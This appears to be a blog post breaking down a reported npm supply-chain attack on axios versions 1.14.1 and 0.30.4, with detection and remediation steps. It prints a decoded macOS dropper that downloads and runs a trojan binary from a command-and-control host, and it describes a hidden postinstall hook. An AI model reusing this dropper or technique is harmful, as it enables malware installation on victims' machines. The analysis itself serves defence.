A hijacked maintainer account. A phantom dependency. A self-erasing Remote Access Trojan. If you ran npm install on March 31, 2026, your infrastructure might already be compromised.
Press enter or click to view image in full size
If you build software in JavaScript, you use axios. With over 300 million weekly downloads, it is the backbone of API requests for everything from React frontends to enterprise Node.js microservices.
But on March 31, 2026, axios became the delivery mechanism for one of the most operationally sophisticated supply chain attacks the npm ecosystem has ever seen.
Threat actors hijacked the account of a lead axios maintainer, bypassed GitHub Actions security protocols, and published two poisoned versions (1.14.1 and 0.30.4). The payload? A stealthy, cross-platform Remote Access Trojan (RAT) that infects macOS, Windows, and Linux systems — and then completely erases its own tracks.
Here is the full technical breakdown of how the attackers pulled it off, the terrifying “self-destruct” mechanism they used to hide the evidence, and exactly what you need to do to secure your codebase.
Press enter or click to view image in full size
This was not a smash-and-grab script kiddie operation. The attack was meticulously staged over 18 hours to evade automated security scanners.
Step 1: Staging the Decoy
On March 30, the attackers created a throwaway npm account ([email protected]) and published a package called [email protected]. This version was completely clean. It was a 1:1 clone of the legitimate crypto-js library. The goal? To build a few hours of “safe” publishing history so security scanners wouldn’t immediately flag a brand-new package.
Step 2: Arming the Payload
Just before midnight UTC, the attackers pushed [email protected]. This version contained a hidden postinstall hook (node setup.js) armed with heavily obfuscated malware.
Step 3: Hijacking Axios
Less than 30 minutes later, the attackers compromised the legitimate jasonsaayman npm account (a core axios maintainer). The attacker changed the account email to an anonymous ProtonMail address and generated a classic, long-lived npm access token. By doing this, they bypassed the cryptographically secure GitHub Actions OIDC pipeline normally used to publish axios.
The forensic proof lies in the npm registry metadata. Legitimate axios 1.x releases are published using GitHub Actions with npm’s OIDC Trusted Publisher mechanism. But look at the metadata for the compromised 1.14.1 version — the OIDC binding is completely missing, indicating a manual publish via a stolen, long-lived access token:
// [email protected] — LEGITIMATE
"_npmUser": {
"name": "GitHub Actions",
"email": "[email protected]",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}
// [email protected] - MALICIOUS
"_npmUser": {
"name": "jasonsaayman",
"email": "[email protected]"
// Notice: No trustedPublisher, no gitHead, no GitHub commit
}They published [email protected] and [email protected], injecting [email protected] into the dependency tree.
Press enter or click to view image in full size
If you inspect the source code of the compromised axios releases, you won’t find a single line of malicious code.
The attackers utilized a “Phantom Dependency” tactic. plain-crypto-js is added to the package.json file, but it is never imported or require()’d anywhere in the axios codebase.
Because it is in the manifest, npm automatically downloads it and runs its postinstall script the moment a developer types npm install. The developer doesn’t have to actually use the crypto library; merely downloading axios triggers the malware.
Once triggered, the heavily obfuscated setup.js script detects the host operating system and deploys a platform-specific Remote Access Trojan (RAT), pinging a Command & Control (C2) server located at sfrclak.com:8000.
To understand how stealthy this is, here is the fully decoded macOS AppleScript dropper extracted from the malware. Notice how it deliberately downloads the binary into a system cache folder and names it com.apple.act.mond to disguise it as an Apple Activity Monitor Daemon:
do shell script "curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s http://sfrclak.com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
&> /dev/null"The most terrifying part of this malware is its forensic hygiene. It is designed to ghost your system immediately after infecting it.
Join Medium for free to get updates from this writer.
Once the platform-specific RAT is safely running in the background, setup.js executes three final commands:
If an incident responder looks into the node_modules folder after the infection, everything appears perfectly normal.
Press enter or click to view image in full size
If you have installed [email protected] or [email protected], assume your system is compromised. Because the malware deletes its own tracks, standard vulnerability scanners might not flag the directory accurately.
How to check:
Run this command in your terminal to check for the compromised versions:
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"Check your filesystem for the lingering RAT artifacts:
Immediate Remediation Steps:
{
"dependencies": {
"axios": "1.14.0"
},
"overrides": {
"axios": "1.14.0"
},
"resolutions": {
"axios": "1.14.0"
}
}(Note: If you are on the legacy 0.x branch, replace 1.14.0 with 0.30.3).
Moving forward, developers and CI/CD engineers should consider using npm ci — ignore-scripts as a standing policy to prevent postinstall hooks from running arbitrary code during automated builds.
In a world where 300 million downloads can be poisoned by a single stolen access token, blind trust in the registry is no longer an option.